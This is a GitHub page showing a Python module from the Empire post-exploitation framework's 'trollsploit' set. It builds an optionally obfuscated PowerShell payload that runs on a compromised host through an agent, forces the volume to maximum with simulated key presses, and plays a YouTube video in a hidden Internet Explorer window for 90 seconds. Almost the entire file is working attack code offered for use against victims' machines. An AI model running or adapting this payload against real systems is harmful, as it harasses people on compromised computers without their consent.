This repository has been archived by the owner on Jan 29, 2020. It is now read-only.
Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Empire/lib/modules/powershell/trollsploit/thunderstruck.py
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
103 lines (78 sloc)
3.36 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from lib.common import helpers | |
class Module: | |
def __init__(self, mainMenu, params=[]): | |
self.info = { | |
'Name': 'Invoke-Thunderstruck', | |
'Author': ['@obscuresec'], | |
'Description': ("Play's a hidden version of AC/DC's Thunderstruck video while " | |
"maxing out a computer's volume."), | |
'Background' : True, | |
'OutputExtension' : None, | |
'NeedsAdmin' : False, | |
'OpsecSafe' : False, | |
'Language' : 'powershell', | |
'MinLanguageVersion' : '2', | |
'Comments': [ | |
'https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot' | |
] | |
} | |
# any options needed by the module, settable during runtime | |
self.options = { | |
# format: | |
# value_name : {description, required, default_value} | |
'Agent' : { | |
'Description' : 'Agent to run module on.', | |
'Required' : True, | |
'Value' : '' | |
}, | |
'VideoURL' : { | |
'Description' : 'Other YouTube video URL to play instead of Thunderstruck.', | |
'Required' : False, | |
'Value' : '' | |
} | |
} | |
# save off a copy of the mainMenu object to access external functionality | |
# like listeners/agent handlers/etc. | |
self.mainMenu = mainMenu | |
for param in params: | |
# parameter format is [Name, Value] | |
option, value = param | |
if option in self.options: | |
self.options[option]['Value'] = value | |
def generate(self, obfuscate=False, obfuscationCommand=""): | |
script = """ | |
Function Invoke-Thunderstruck | |
{ | |
[CmdletBinding()] | |
Param ( | |
[Parameter(Mandatory = $False, Position = 0)] | |
[ValidateNotNullOrEmpty()] | |
[String] $VideoURL = "https://www.youtube.com/watch?v=leJ_wj7mDa0" | |
) | |
Function Set-Speaker($Volume){$wshShell = new-object -com wscript.shell;1..50 | % {$wshShell.SendKeys([char]174)};1..$Volume | % {$wshShell.SendKeys([char]175)}} | |
Set-Speaker -Volume 50 | |
#Create hidden IE Com Object | |
$IEComObject = New-Object -com "InternetExplorer.Application" | |
$IEComObject.visible = $False | |
$IEComObject.navigate($VideoURL) | |
Start-Sleep -s 5 | |
$EndTime = (Get-Date).addseconds(90) | |
# ghetto way to do this but it basically presses volume up to raise volume in a loop for 90 seconds | |
do { | |
$WscriptObject = New-Object -com wscript.shell | |
$WscriptObject.SendKeys([char]175) | |
} | |
until ((Get-Date) -gt $EndTime) | |
} Invoke-Thunderstruck""" | |
for option,values in self.options.iteritems(): | |
if option.lower() != "agent" and option.lower() != "computername": | |
if values['Value'] and values['Value'] != '': | |
if values['Value'].lower() == "true": | |
# if we're just adding a switch | |
script += " -" + str(option) | |
else: | |
script += " -" + str(option) + " " + str(values['Value']) | |
script += "; 'Agent Thunderstruck.'" | |
if obfuscate: | |
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) | |
return script |